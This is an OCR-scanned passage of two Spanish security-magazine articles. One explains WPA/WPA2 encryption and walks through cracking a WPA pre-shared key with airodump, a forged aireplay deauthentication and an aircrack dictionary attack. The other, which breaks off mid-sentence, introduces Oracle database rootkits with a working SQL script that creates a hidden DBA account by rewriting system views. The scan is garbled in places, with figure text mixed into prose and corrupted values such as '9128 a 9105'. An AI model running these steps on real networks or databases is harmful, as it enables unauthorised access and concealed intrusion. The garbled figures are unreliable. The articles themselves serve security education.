calcula desde MPDU.

Al igual que WEP, TKIP esta ba-
sada en el algoritmo de encriptacion
RC4, pero esto es asi tan sélo por un
motivo: permitir a los sistemas WEP
la actualizacion para instalar un pro-
tocolo mas seguro. TKIP se requiere
para la certificacion WPA vy se inclu-
ye como parte de RSN 802.11i como
una opcion. TKIP afade medidas
correctoras para cada una de las
vulnerabilidades de WEP descritas
anteriormente:

* integridad de mensaje: un nuevo
MIC (Message Integrity Code)
basado en el algoritmo Michael
puede ser incorporado en el soft-
ware para microprocesadores
lentos,

* IV: nuevas reglas de seleccion
para los valores |V, reutilizando
IV como contador de repeticion

www.hakin9.org

(TSC, o TKIP Sequence Coun-
ter) e incrementando el valor del
IV para evitar la reutilizacion,

»  Per Packet Key Mixing: para unir
claves de encriptacién aparente-
mente inconexas,

» gestion de claves: nuevos me-
canismos para la distribucion y
modificacion de claves.

TKIP Key-Mixing Scheme se divide
en dos fases. La primera se ocupa
de los datos estaticos — la clave TEK
de sesion secreta, el TA de la direc-
cion MAC del transmisor (incluido
para prevenir colisiones V) y los
32 bits mas altos del IV. La fase 2
incluye el resultado de la fase 1y los
16 bits mas bajos del IV, cambiando
todos los bits del campo Per Packet
Key para cada nuevo |V. El valor IV
siempre empieza en 0 y es incre-
mentado de uno en uno para cada
paquete enviado, y los mensajes
cuyo TSC no es mayor que el del
ultimo mensaje son rechazados. El
resultado de la fase 2 y parte del IV
extendido (ademas de un bit dummy)
componen la entrada para RC4,
generando un flujo de clave que es
XOR-eado con el MPDU de sélo tex-
to, el MIC calculado del MPDU vy el
viejo ICV de WEP (ver Figura 12).
La computacion del MIC utiliza
el algoritmo Michael de Niels Fer-
guson. Se cre6 para TKIP y tiene un
nivel de seguridad de 20 bits (el algo-
ritmo no utiliza multiplicacién por ra-
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MIC = Michael(TMK + SA + DA
+ Prioridad + Soélo Texto)

MIC

16 bits IV | 32 bits IV
(inferior) [ (superior)

ICV = CRC
(Sélo Texto || MIC)

ICV

TTAC (TKIP-mezclado Direccion
y Clave Transmision) — 80 bits

\

d = dummybyte | v | d | v | Per-Packet Key (104 bits)
(evitar claves
débiles) <€---->
24 bits
RC4
Keystream
v < >
MAC IV / KeylD Extended IV FCS
Header 4 octetos 4 octetos 4 octetos
h ENCRIPTADO B

Figura 12. Esquema y encriptacion de TKIP Key-Mixing zones de rendimiento, porque debe

ser soportado por el viejo hardware
de red para que pueda ser actuali-
SA DA MSDU sblo texto - zado a WPA). Por esta limitacion, se

\ necesitan contramedidas para evitar

la falsificacién del MIC. Los fallos de
MIC deben ser menores que 2 por
minuto, o se producira una desco-

a\

TMK nexion de 60 segundos y se esta-
(64 bits) bleceran nuevas claves GTK y PTK
tras ella. Michael calcula un valor de
Figura 13. Computacién de MIC utilizando el algoritmo Michael comprobacion de 8 octetos llamado
Incremento
MAC Datos Numero PN
Header ¢
AAD
¢ Construye CCMP Header
MPDU SA, \4 YVvY
Prioridad =
| Construye Nonce »| Computacion MIC
\ \ \4

MAC CCMP Header FCS
Header 8 octetos 4 octetos

< »
<« >

ENCRIPTADO

AAD: Datos Adicionales de Autenticacion (MPDU Header) PN: Numerp de Paquetes = Ext IV

Figura 14. Encriptacion CCMP
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MIC y lo afiade a la MSDU antes de
la transmision. El MIC se calcula de
la direccion origen (SA), direccién de
destino (DA), MSDU de solo texto y
la TMK apropiada (dependiendo del
lado de la comunicacion, se utilizara
una clave diferente para la transmi-
sion y la recepcion).

CCMP se basa en la suite de
cifrado de bloques AES (Advanced
Encryption Standard) en su modo
de operacién CCM, con la clave y los
bloques de 128 bits de longitud. AES
es a CCMP lo que RC4 a TKIP, pero
al contrario que TKIP, que se disefid
para acomodar al hardware WEP
existente, CCMP no es un compro-
miso, sino un nuevo disefio de proto-
colo. CCMP utiliza el counter mode
junto a un método de autenticacion
de mensajes llamado Cipher Block
Chaining (CBC-MAC) para producir
un MIC.

Se afiadieron algunas caracte-
risticas interesantes, como el uso de
una clave Unica para la encriptacion
y la autenticacion (con diferentes
vectores de inicializacién), el cubrir
datos no encriptados por la auten-
ticacion. El protocolo CCMP afade
16 bytes al MPDU, 8 para el enca-
bezamiento CCMP y 8 para el MIC.
El encabezamiento CCMP es un
campo no encriptado incluido entre
el encabezamiento MAC vy los datos
encriptados, incluyendo el PN de 48-
bits (Packet Number = IV Extendido)
y la Group Key KeyID. El PN se in-
crementa de uno en uno para cada
MPDU subsiguiente.

La computacién de MIC utiliza el
algoritmo CBC-MAC que encripta un
bloque nonce de inicio (computado
desde los campos de Priority, la
direccion fuente de MPDU y el PN
incrementado) y hace XORs sobre
los bloques subsiguientes para ob-
tener un MIC final de 64 bits (el MIC
final es un bloque de 128-bits, ya que
se descartan los ultimos 64 bits). El
MIC entonces se anade a los datos
de texto para la encriptacion AES
en modo contador. El contador se
construye de un nonce similar al del
MIC, pero con un campo de contador
extra inicializado a 1 e incrementado
para cada bloque.

# airodump athO wpa-crk 0

BSSID PWR Beacons
00:13:10:1F:9A:72 56 112
BSSID STATION

00:13:10:1F:9A:72 00:0C:F1:19:77:5C

Listado 7. Descubriendo redes cercanas

# Data CH MB ENC ESSID
16 1 48 WPA

hakin9demo

PWR Packets ESSID
34 1 hakin9demo

Opening wpa-psk.cap
Read 541 packets.
BSSID ESSID

Listado 8. Lanzando un ataque de diccionario

$ aircrack -a 2 -w some_dictionnary file -0 wpa-psk.cap

Encryption

00:13:10:1F:9A:72 hakin9demo WPA (1 handshake)

El ultimo protocolo es WRAP,
basado también en AES pero utili-
zando el esquema de encriptacion
autenticada OCB (Offset Codebook
Mode — encriptacion y autenticacion
en la misma operacion). OCB fue el
primer modo elegido por el grupo
de trabajo de IEEE 802.11i, pero se
abandoné por motivos de propie-
dad intelectual y posibles licencias.
Entonces se adopté CCMP como
obligatorio.

Debilidades
de WPA/WPA2

Aunque se han descubierto algunas
pequefias debilidades en WPA/
WPAZ2 desde su lanzamiento, ningu-
na de ellas es peligrosa si se siguen

unas minimas recomendaciones de
seguridad.

La vulnerabilidad mas practica
es el ataque contra la clave PSK
de WPA/WPA2. Como ya hemos
dicho, la PSK proporciona una al-
ternativa a la generacioén de 802.1X
PMK usando un servidor de auten-
ticacion. Es una cadena de 256 bits
o una frase de 8 a 63 caracteres,
usada para generar una cadena uti-
lizando un algoritmo conocido: PSK
= PMK = PBKDF2(frase, SSID,
SSID length, 4096, 256), donde
PBKDF2 es un método utilizado
en PKCS#5, 4096 es el nUmero de
hashes y 256 la longitud del resulta-
do. La PTK es derivada de la PMK
utilizando el 4-Way Handshake y

[00:00:03] 524 keys tested (131.66 k/s)

Figura 15. Una PSK WPA débil ha sido encontrada con Aircrack
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toda la informacién utilizada para
calcular su valor se transmite en
formato de texto.

La fuerza de PTK radica en el
valor de PMK, que para PSK signifi-
ca exactamente la solidez de la fra-
se. Como indica Robert Moskowitz,
el segundo mensaje del 4-Way
Handshake podria verse sometido
a ataques de diccionario o ataques
offline de fuerza bruta. La utilidad

cowpatty se cred para aprovechar
este error, y su caédigo fuente fue
usado y mejorado por Christophe
Devine en Aircrack para permitir
este tipo de ataques sobre WPA.
El disefio del protocolo (4096 para
cada intento de frase) significa que
el método de la fuerza bruta es muy
lento (unos centenares de frases
por segundo con el ultimo proce-
sador simple). La PMK no puede

ser pre-calculada (y guardada en
tablas) porque la frase de acceso
esta codificada adicionalmente se-
gun la ESSID. Una buena frase que
no esté en un diccionario (de unos
20 caracteres) debe ser escogida
para protegerse eficazmente de
esta debilidad.

Para hacer este ataque, el ata-
cante debe capturar los mensajes
de 4-Way Handshake monitorizando

p
Glosario

AP — Access Point, punto de acceso, estacion base de una
red Wi-Fi que conecta clientes inalambricos entre si 'y a redes
de cable.

ARP — Address Resolution Protocol, protocolo para traducir
las direcciones IP a direcciones MAC.

BSSID — Basic Service Set Identifier, Direccion MAC del
punto de acceso.

CCMP — Counter-Mode / Cipher Block Chaining Message
Authentication Code Protocol, protocolo de encriptacion
utilizado en WPA2, basado en la suite de cifrado de bloques
AES.

CRC - Cyclic Redundancy Check, pseudo-algoritmo de inte-
gridad usado en el protocolo WEP (débil).

EAP — Extensible Authentication Protocol, entorno para va-
rios métodos de autenticacion.

EAPOL — EAP Over LAN, protocolo usado en redes inalam-
bricas para transportar EAP.

GEK — Group Encryption Key, clave para la encriptacion de
datos en trafico multicast (también usada para la integridad
en CCMP).

GIK — Group Integrity Key, clave para la encriptacion de da-
tos en trafico multicast (usada in TKIP).

GMK — Group Master Key, clave principal de la jerarquia de
group key.

GTK — Group Transient Key, clave derivada de la GMK.

ICV — Integrity Check Value, campo de datos unido a los da-
tos de texto para la integridad (basado en el algoritmo débil
CRC32).

IV — Initialization Vector, vector de inicializacion, datos com-
binados en la clave de encriptacion para producir un flujo de
claves unico.

KCK — Key Confirmation Key, clave de integridad que prote-
ge los mensajes handshake.

KEK — Key Encryption Key, clave de confidencialidad que
protege los mensajes handshake.

MIC — Message Integrity Code, campo de datos unido a los
datos de texto para la integridad (basdo en el algoritmo Mi-
chael).

MK — Master Key, clave principal conocida por el suplicante y
el autenticador tras el proceso de autenticacion 802.1x.

MPDU — Mac Protocol Data Unit, paquete de datos antes de
la fragmentacion.

MSDU - Mac Service Data Unit, paquete de datos después
de la fragmentacion.

PAE — Port Access Entity, puerto légico 802.1x.

PMK — Pairwise Master Key, clave principal de la jerarquia de
pares de claves.

PSK — Pre-Shared Key, clave derivada de una frase de ac-
ceso que sustituye a la PMK normalmente enviada por un
servidor de autenticacion.

PTK — Pairwise Transient Key, clave derivada de la PMK.
RSN — Robust Security Network, mecanismo de seguridad
de 802.11i (TKIP, CCMP etc.).

RSNA — Robust Security Network Association, asociacion de
seguridad usada en una RSN.

RSN IE — Robust Security Network Information Element,
campos que contienen informacion RSN incluida en Probe
Response y Association Request.

SSID — Service Set Identifier, identificador de la red (el mis-
mo que ESSID).

STA — Station, estacion, cliente wireless.

TK — Temporary Key, clave para la encriptacion de datos en
trafico unicast (usada también para la comprobacién de la
integridad de datos en CCMP).

TKIP — Temporal Key Integrity Protocol, protocolo de encrip-
taciéon usado en WPA basado en el algoritmo RC4 (como en
WEP).

TMK — Temporary MIC Key, clave para la integridad de datos
en trafico unicast (usada en TKIP).

TSC — TKIP Sequence Counter, contador de repeticion usa-
do en TKIP (al igual que Extended 1V).

TSN — Transitional Security Network, sistemas de seguridad
pre-802.11i (WEP etc.).

WEP — Wired Equivalent Privacy, protocolo de encriptacion
por defecto para redes 802.11.

WPA — Wireless Protected Access, implementaciéon de una
version temprana del estandar 802.11i, basada en el proto-
colo de encriptacion TKIP.

WRAP — Wireless Robust Authenticated Protocol, antiguo
protocolo de encriptacion usado en WPA2.
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Listado 9. Ejemplo de archivo de configuracion de wpa_supplicant
para WPA2
ap_scan=1 # Analiza frecuencias de Radio y selecciona punto <+
de acceso apropiado
network={ # Primera red inaldmbrica
ssid="some ssid" # SSID de la red
scan_ssid=1 # Envia peticién de prueba para encontrar SSID ocultos
proto=RSN # RSN para WPA2/IEEE 802.111
key mgmt=WPA-PSK # Autenticacién de la clave pre-compartida
pairwise=CCMP # Protocolo CCMP(encriptacién AES)
psk=1232813c587dald5ce647£d43e5908abb45as4al258fd5e410385ab4e5f435ac
}

pasivamente la red inalambrica o uti-
lizar el ataque de desautenticacion
para acelerar el proceso.

De hecho, los dos primeros
mensajes se necesitan para poder
intentar adivinar los valores de
PSK. Recordemos que PTK = PRF-
X (PMK, Pairwise key expansion,
Min(AP_Mac, STA_Mac) || Max(AP_
Mac, STA_Mac) || Min(ANonce,
SNonce) || Max(ANonce, SNonce)),
donde PMK es igual a PSK en
nuestro caso. Tras el segundo men-
saje, el atacante conoce ANonce
(del primer mensaje) y SNonce (del
segundo mensaje) y puede empe-
zar a intentar calcular el valor PSK
para calcular PTK y derivar claves
temporales. Si se adivina correcta-
mente la PSK, el MIC del segundo
mensaje podria obtenerse con el
correspondiente KCK — y si no se
consigue, hay que seguir intentan-
do adivinarla.

Como ejemplo préactico, empe-
zamos al igual que lo hicimos en
el ejemplo de crackeado de WEP.
Lo primero sera activar el modo
monitor:

# airmon.sh start athO

El siguiente paso descubre las redes
cercanas y sus clientes asociados
(ver Listado 7).

El resultado se puede interpre-
tar asi: un punto de acceso con
BSSID 00:13:10:1F:9A:72 usando
encriptacion WPA en el canal 1
con SSID hakin9demo y un cliente,
identificado por la direccion MAC
00:0C:F1:19:77:5C estan asocia-
dos y autenticados en esta red ina-
lambrica (lo que significa que ya se

ha producido el 4-Way Handshake
para este cliente).

Una vez la red objetivo se ha
encontrado, la captura debe ser
lanzada sobre el canal apropiado
para evitar perder paquetes nece-
sarios mientras escaneamos otros
canales:

# airodump athO wpa-psk 1

Debemos entonces deautenticar
los clientes legitimos, forzandolos a
iniciar un nuevo proceso de auten-
ticacion y permitiéndonos capturar
los mensajes de 4-Way Handshake.
Aireplay se usa para este ataque, y
deautenticara al cliente deseado con
la BSSID especificada enviandole
una peticion de desautenticacion
falsa:

# aireplay -0 1 -a <BSSID>

-c <client_mac> ath0

El ultimo paso sera lanzar un ataque
de diccionario usando Aircrack (ver
Listado 8). La Figura 15 muestra los
resultados.

La otra debilidad WPA es una
posibilidad de Negacion del Servi-
cio durante el 4-Way Handshake.
Changhua He y John C. Mitchell se
dieron cuenta de que el primer men-
saje del 4-Way Handshake no esta
autenticado, y cada cliente tiene que
guardar cada primer mensaje hasta
que reciban un tercer mensaje valido
(firmado), dejando al cliente poten-
cialmente vulnerable ante el agota-
miento de memoria. Haciendo un
spoofing del primer mensaje enviado
por el punto de acceso, un atacante
podria realizar un ataque DoS sobre
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Figura 16. Soporte de WPA2 en
Windows XP SP2

el cliente si es posible que existan
varias sesiones simultaneas.

El codigo de integridad de men-
sajes Michael tiene también debilida-
des conocidas que provienen de su
propio disefo (forzado por el grupo
de trabajo de 802.11i). La seguridad
de Michael se basa en que la comu-
nicacion esté encriptada. Aunque los
MICs criptograficos estan general-
mente disefiados para resistir a este
tipo de ataques de texto conocidos
(donde el atacante tiene un mensaje
de texto y su MIC), Michael es vulne-
rable a estos ataques, porque es in-
vertible. Si se le da un s6lo mensaje
y su valor MIC, se puede descubrir la
clave secreta de MIC, asi que man-
tener el secreto del valor de MIC es
critico.

La debilidad final conocida es la
posibilidad tedrica de un ataque con-
tra el Temporal Key Hash de WPA,
que implica una complejidad de ata-
que reducida (de 9128 a 9105) bajo
ciertas circunstancias (conocimiento
de varias claves RC4).

WPA/WPA2 se ven sometidas a
vulnerabilidades que afectan a otros
mecanismos estandar de 802.11i,
como son los ataques con spo-
ofing de mensajes 802.1X (EAPoL
Logoff, EAPoL Start, EAP Failure
etc.), descubiertos por primera vez
por William A. Arbaugh y Arunesh
Mishra y posibles gracias a una
falta de autenticacion. Por Uultimo,
es importante destacar que el uso
del protocolo WPA/WPA2 no tiene
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proteccién alguna frente a ataques
sobre las tecnologias en que se ba-
san, como puede ser la intercepcion
de frecuencias de radio, Negacion
del Servicio a través de violaciones
de 802.11, de-autenticacion, de-aso-
ciacion, etc.

Puesta en practica

en los sistemas
operativos de WPA/
WPA2

Windows no incorpora soporte
WPAZ2 por defecto. Una actualizacién
para Windows XP SP2 (KB893357)
lanzada el 29 de abril de 2005, ana-
di6 WPA2 y una mejor deteccion de
redes (ver Figura 16). Otros siste-
mas operativos de Microsoft tienen
que utilizar un suplicante externo
(comercial o de codigo abierto, co-
mo wpa_supplicant — la versién de
Windows es experimental).

En Linux y *BSD, wpa_suppli-
cant estaba listo para cuando salié
el estandar 802.11i. El suplicante
externo soporta un gran numero
de meétodos EAP y caracteristicas
de gestion de claves para WPA,
WPA2 y WEP. Pueden declararse
varias redes con diferentes tipos
de encriptacion, gestion de claves y
meétodos EAP — el Listado 9 presen-
ta un simple fichero de configuracion
de WPAZ2. El lugar por defecto de la
configuracion de wpa_supplicant es
/etc/wpa_supplicant.conf, y el archi-
vo sélo deberia ser accesible para el
usuario root.

El daemon wpa_supplicant de-
beria primero lanzarse con privile-
gios de root en modo debug (opcion
-ad), con el controlador adecuado
(en nuestro ejemplo es -p madwifi
para soportar el chipset Atheros), el
nombre de la interfaz (opcion -1, en
nuestro caso atnho) y la ruta del fiche-
ro de configuracion (opcién -c):

B

wpa_supplicant

-D madWi-Fi

-dd -c /etc/wpa_supplicant.conf
-i athO

Todos los pasos tedricos descritos
son resultado del modo debug (Aso-
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ciacion AP, autenticacion 802.1X,
4-Way Handshake etc.). Cuando to-
do esté funcionando, wpa_supplicant
deberia ejecutarse en modo daemon
(sustituye la opcion -dd por -B).

En Macintosh, WPA2 es soporta-
do tras la salida de la actualizacion
4.2 del software Apple AirPort: Los
Macintosh con AirPort Extreme, La
estacion base AirPort Extreme Base
Station y AirPort Express.

Sumario

Parece claro que la encriptaciéon
WEP no proporciona suficiente
seguridad para las redes inalambri-
cas, y que solo puede ser usado con

soluciones de encriptacién de alto
nivel (como VPNs). WPA es una so-
lucién segura para el equipo actua-
lizable que no soporte WPA2, pero
WPA2 sera pronto el estandar de la
seguridad inalambrica. No olvides
poner tu equipamiento wireless en
un lugar filtrado y ten a mano una
conexion tradicional (con cables)
para las redes mas importantes
— los ataques de interceptacion/
interferencia de radio-frecuencia y
los ataques de bajo nivel (violaciéon
del estandar 802.11, de-asociacion
falsa, etc.) siguen pudiendo ser de-
vastadores. ®
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Oracle rootkits

Alexander Kornbrust g

Grado de dificultad
o0

racle es un lider de mercado en el
O area de las bases de datos y las ba-

ses de datos Oracle se utilizan en casi
cualquier gran empresa. Los datos criticos o
muy importantes para las empresas, con mu-
cha frecuencia son almacenados en la base de
datos Oracle. Entonces, no sera una sorpresa
que Oracle sea con cada vez mayor frecuencia
objetivo de ataques.

Los rootkits de bases de datos Oracle son
una moda relativamente nueva en la seguridad.
Se instalan después de que haya habido una
intrusion con éxito en la base de datos Oracle,
por un lado para cubrir las huellas de la intru-
sion, y por el otro para cubrir la presencia de
un atacante en la base de datos. Echemos un
vistazo a los conceptos de los rootkits de Ora-
cle, a las diferentes posibilidades de puesta en
practica, asi como a las contramedidas.

Introduccion a los rootkits

en Oracle

Las bases de datos y los sistemas operativos
de Oracle son bastante similares en su arqui-
tectura. Tanto bases de datos como sistemas
operativos tienen usuarios, procesos, tareas,
ejecutables y enlaces simbdlicos. La Tabla 1

hakin9 N° 1/2006

(" Los rootkits de sistema no son nada nuevo. Han sido usados por
los intrusos para cubrir sus huellas durante ainos. Sin embargo,
no es demasiado conocido el hecho de que los rootkits pueden
ser utilizados y son utilizados por intrusos sobre bases de
datos, que a menudo contienen datos criticos de las empresas.
Echemos un vistazo a los rootkits en las bases de datos de
Oracle y veamos como podemos evitarlos.

muestra un ejemplo de mapeado entre coman-
dos del sistema operativo *NIX y comandos
Oracle. Un atacante puede aprovecharse de
esta similitud para trasladar el concepto de
rootkits, pero también otros tipo de malware
como virus, desde el mundo de los sistemas
operativos, al mundo de las bases de datos
Oracle.

Era y es un truco comun de los rootkits
de sistema operativo (de primera generacion)
crear usuarios ocultos, no visibles por el ad-
ministrador. Para hacer esto, se sustituian co-
mandos *NIX como ps, whoy top por versiones
troyanas, que muestran todo excepto la cuenta

-
En este articulo aprenderas...

* las bases sobre rootkits en Oracle,
+ diferentes formas de implementar un rootkit,
* como descubrir rootkits de Oracle.

Lo que deberias saber...

* el lector deberia tener un conocimiento basico
de la arquitectura de las bases de datos SQL y
Oracle.
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Rootkits en Oracle

~
Listado 1. Crear usuario de

base de datos

-- Create user and
-- grant DBA permission
SQL> CREATE USER HACKER
SQL> IDENTIFIED BY HACKER;
SQL> GRANT DBA TO HACKER;
-- Show users
SQL> SELECT USERNAME
SQL> FROM DBA_USERS;

USERNAME

SYS

SYSTEM

DBSNMP

SYSMAN

MGMT_VIEW

HACKER

.

de usuario creada por el intruso.
Esta aproximacion puede también
llevarse a cabo en una base de da-
tos Oracle. Sélo es necesario saber
como Oracle representa, almacena
y utiliza a los usuarios de la base
de datos.

Los usuarios de Oracle se alma-
cenan en la tabla de la base de datos
svs.UsER$ junto a los roles de la base
de datos. Los usuarios tienen la ban-
dera tyre#=1 y los roles la bandera
rypE#=0. Para hacer el acceso mas
sencillo, y para la compatibilidad
hacia arriba y hacia atras, Oracle
proporciona dos vistas llamadas
dba users Y all _users Via un sino-
nimo publico (la estructura de tabla
cambia de version a version). La
mayor parte de las bases de datos
y herramientas utilizan estas vistas
para acceder a la tabla svs.users. Si
estas vistas son ahora modificadas
de forma que un usuario especial,
por ejemplo H€acker, NO se muestre
mas, hemos creado un usuario ocul-
to (en la mayoria de los casos).

En primer lugar, echemos un ojo
al Listado 1. Empecemos por crear
el usuario y comprobar si el usuario
es visible. Entonces, modificaremos
la vista pea _ users y afiadiremos una
linea adicional a la vista:

AND U.NAME != 'HACKER'

Podemos hacer este cambio a través
de una herramienta grafica (por ejem-

Tabla 1. Ejemplo de mapeado entre comandos y objetos de Oracle y de
sistema operativo

comando/objeto *NIX comando/objeto Oracle
pS SELECT * FROM V$PROCESS

Kill <processnumner> ALTER SYSTEM KILL SESSION '12,55'

Ejecutables Vistas, Paquetes, Funciones y Pro-

cedimientos

Execute SELECT * FROM MY _ VIEW
EXEC PROCEDURE
Cd ALTER SESSION SET CURRENT _

SCHEMA=USERO1

DBA_USERS Yiew Info
=

Source | View Info | Comments |

Vaidote Query | Fomat Query |

select u.name, u.userf, u.password.
m.status,

decode(u. astatus. 4. u.ltime.
5. u.ltime,
6, u.ltime,
8. u.ltine,
9. u.ltime,
10, u.ltime, to_date(NULL)).
decode(u.astatus,
1. u.exptime,
2. u.exptime,
S. u.exptime,
6, u.exptime,
8. u.exptime,

10, u.exptine,
decode{u.ptine, '', to_date(NULL).
decode(pr.linit#, 2147483647, to_date(NULL).
decode(pr.limit#, 0,
decode(dp. limit#, 2147483647, to_date(NULL), u.ptime +
dp.linit#/86400),
u.ptime + pr.limit#/86400)))).
dts.name, tts.name, u.ctime, p.name,
nvl(cgm.consumer_group, 'DEFAULT_CONSUMER_GROUP'),
u.ext_usernane
from sys. user$ u left outer join sys.resource_group_mapping$ ogm
on (cgm.attribute = ‘ORACLE_USER' and cgm.status = 'ACTIVE' and
cgm.value = u.nane).
dts, sys. tts, sys. profname$ p,
n, sys. profile$ pr., sys.profile$ dp

sys.
sys s b

vhere u.datats# = dts.ts#

and u.resource$ = p.profile#

and u.tempts# = tts. ts¥

and u.astatus = m.status#

and u.type# = 1

and u.resource$ = pr.profilef

and dp.profilef = 0

and dp.type#=1

and dp.resourcef=1

and pr.type# = 1

and p sourced =
AND U.NAME != "HACKER'

—— addad by Intruds:

Show SQL | 0K ' Cancel I

|SYS@ORAT0G3 | 4

Figura 1. Modificaciones de la vista DBA_USERS usando una herramienta
DBA (Quest TOAD)

plo Quest TOAD, véase Figura 1)
o utilizando un comando SQL (crea-
TE VIEW DBA _USERS AS ...). Debemos

en lugar de pea _ users para mostrar
todos los usuarios. Por ello, es
necesario cambiar también esta

tener en cuenta que los cambios en
las vistas que pertenecen a svs re-
quieren el rol syspea.

Una peticién reiniciada hacia
la vista pea users ahora mostrara
todos los usuarios excepto el recién
creado s€acker. Algunas herramien-
tas o DBAs usan la vista aLt, _ users

vista. Después de modificar ambas
vistas, el nuevo usuario desaparece
de todos los programas que utilizan
vistas como capa de acceso. Un
atacante experto escogeria nom-
bres menos obvios, (como wmrsvys)
y una condicidn wiErE Menos obvia

(por ejemplo anp U.UsSER$ <> 17,

hakin9 N° 1/2006
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Benutzername
ANONYMOUS
CTXSYS
DATA_SCHEMA
DBSNMP

DIP

DMSYS

EXFSYS
FLOWS_FILES
FLOWS_010500

HACKER

EX
HTMLDB_PUBLIC_USER
MASTER
MDDATA
MDSYS
MGMT_VIEW
MOBILEADMIN

Figura 2. Mostrando todos los
usuarios en Oracle Enterprise
Manager

Benutzername
ANONYMOUS
CTXSYS
DATA_SCHEMA
DBSNMP

DIP

DMSYS

EXFSYS
FLOWS_FILES
FLOWS_010500
HTMLDBALEX
HTMLDB_PUBLIC_USER
MASTER

MDDATA

MDSYS

Figura 3. Mostrando todos los
usuarios en Oracle Enterprise
Manager después de la
modificacion de la vista DBA_
USERS, sin el usuario HACKER
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donde 17 es el numero del usuario
recién creado).

Todos los programas que el autor
ha podido probar hasta ahora estan
afectados, por ejemplo Oracle En-
terprise Manager (ver Figuras 2y 3),
Oracle Grid Control (ver Figuras 4
y 5), Quest SQL Navigator, Quest
TOAD, Embarcadero DBArtisan
etc. Los desarrolladores de herra-
mientas de administracion de bases
de datos nunca deberian confiar en
las vistas, porque pueden ser cam-
biadas. En lugar de ello deberian
siempre acceder a las tablas de
base como svs.users.

Las bases de los

rootkits en Oracle

Como describimos anteriormente
en la introduccion, es posible crear
un rootkit modificando las vistas. La
siguiente seccién muestra una pano-
ramica de diferentes posibilidades
de poner en practica rootkits.

Modificacion del objeto
llamado

Como se ha dicho antes, es bastante
facil modificar las vistas de base de
datos. Podemos usar esto para elimi-
nar contenido seleccionado de la vis-
ta. El ejemplo del Listado 2 utiliza los
dbms_metadata de paquete (desde
Oracle 9i). El paquete crea codigo
DDL partiendo de un objeto de base
de datos y sustituye la cadena wuerz
CON WHERE u.name != 'HACKER' Usando
el comando replace.

Cambiando el path de
ejecucion
Es también posible poner en mar-
cha un rootkit modificando el path
de ejecucion. En el caso de los
rootkits de sistema operativo, el
camino a comandos *NIX como ps,
who, top S€ cambia. En este caso,
la version troyana sera ejecutada,
en lugar de la version original. Este
punto de vista tiene la ventaja para
el atacante, de que no se va a ma-
nipular el programa original ni su
checksum.

No hay paths en el mundo de las
bases de datos Oracle. Ese es el
motivo por el que hay que adoptar

www.hakin9.org

ORACLE Enterprise Manager 10g
Database Control

—

Database: oral0g3 > Users

Users

Search

Name |

To run an exact match search or to run a case sens

Results

Select UsetName / JAccount
& ANONYMOUS EXPIRED|
C CIX8YS EXPIRED
(® TA_SCH OPEN
€ DBSNMP OPEN
C P EXPIRED)
C  DMSYS EXPIRED
C  EXFSY EXPIRED|
©  ELOWS 010500 LOCKED
C FLOWS FILES LOCKED
OPEN
C  HIMLDBALEX OPEN

Figura 4. Mostrando todos los
usuarios en Oracle Grid Control

Search

MName |

To run an exact match search or to run a case sens

Results

Select UsertName / IAccoum
& ANONYMOUS EXPIRED
C CIXSYS EXPIRED
C  DATA_SCHEMA OPEN
C  DBSNMP OPEN
C DP EXPIRED
C  DMSYS EXPIRED
C EXFSYS EXPIRED
¢ FLOWS 010500 LOCKED
C  FLOWS FILE LOCKED
C  HIM X OPEN
¢ HIMLDB_PUBLIC_USER OPEN

Figura 5. Mostrando todos los
usuarios en Oracle Grid Control
después de la modificacion de la
vista DBA_USERS, sin el usuario
HACKER




Rootkits en Oracle

Evolucion del Rootkit de Oracle

Debemos esperar diferentes pasos evolutivos en los rootkits de Oracle. Por ahora, s6-
lo existe la primera generacion de rootkits de Oracle, pero es solo cuestion de tiempo
que evolucionen.

Oracle Rootkits — Primera Generacion

Los rootkits de primera generaciéon son puestos en practica via modificacion o crea-
cion de objetos de diccionario de datos o via modificacion del path de ejecucion. Esta
es la forma mas sencilla y rapida para crear un rootkit. No se requieren conocimientos
especiales. Para detectar este tipo de rootkits es suficiente comparar checksums u
objetos de la base de datos con una baseline externa.

Oracle Rootkits — Segunda Generacién
La segunda generacion de rootkits funciona sin la modificacion del path de ejecucién
ni cambios en los objetos de diccionario de datos. Posibles aplicaciones estan usando
caracteristicas de Oracle como PL/SQL — Native Compilation o Virtual Private Data-
base (VPD) — Base de Datos Virtual Privada.

Es mas dificil detectar estos tipos de rootkits, porque se precisan requisitos adicio-
nales como el uso de la cuenta sys, privilegios especiales (EXEMPT ACCESS POLICY) O
checksums de archivos externos.

Oracle Rootkits — Tercera Generacion

Esta generacion funciona de forma similar a los rootkits de kernel de sistema operativo
y es dificil de detectar. Los objetos son modificados directamente en la SGA. Desde
Oracle 10g Release 2, Oracle proporciona una API para acceder directamente a la
SGA. El acceso directo sin soporte a la SGA es posible incluso en versiones mas anti-
guas de la base de datos. Los requisitos técnicos para escribir y detectar rootkits seran
aun mayores en comparacion con los de los rootkits de primera generacion.

Listado 2. Un simple script SQL que crea y oculta un usuario HACKER

set linesize 2000

set long 90000

EXECUTE DBMS METADATA.SET_TRANSFORM PARAM <+
(DBMS_METADATA.SESSION_TRANSFORM, 'STORAGE', false) ;

spool rk_source.sql

select replace (cast (dbms metadata.get ddl ('VIEW', 'ALL USERS') <
as VARCHAR2 (4000)), 'where', "where u.name !='"'HACKER'' and ') <
from dual union select '/' from dual;

select replace (cast (dbms metadata.get ddl ('VIEW', 'DBA USERS') <
as VARCHAR2 (4000)), 'where', "where u.name !='"'HACKER'' and ') <
from dual union select '/' from dual;

spool off

create user hacker identified by hackerpw;

grant dba to hacker;

@rk source.sql

el concepto y ajustar la puesta en
practica. Ayuda bastante ver como
Oracle procesa un comando SQL
como:

SELECT * FROM DBA_USERS

En esta peticion, Oracle comprueba
primero si hay un objeto local (tabla o
vista) llamado pea users. Si es asi,
usara este objeto para la peticion. Si
no, Oracle buscara un sinénimo pri-
vado con este nombre. Si existe un

sinénimo privado, Oracle lo usara.
Si no, Oracle comprobara si hay un
sinénimo publico.

Basandose en la estructura del
path de ejecucion de Oracle, hay
diferentes posibilidades de poner en
marcha un rootkit:

» Crear un nuevo objeto local con
nombre idéntico en el esquema
de usuario (ver Listado 3).

» Crear un objeto nuevo que se
refiera al objeto original (vista o

tabla de base) o un nuevo objeto
que contiene una copia de los
datos del objeto original. La tabla
pBA _USErRs podria mantenerse
actualizada con un disparador en
svs.users (ver Listado 4).

e Crear un sinénimo privado y un
nuevo objeto local (ver Lista-
do 5).

* Modificar un sinénimo publico
y crear un nuevo objeto local (ver
Listado 6).

La desventaja de los primeros tres
métodos es que tan sélo el duefio
del esquema se ve afectado por
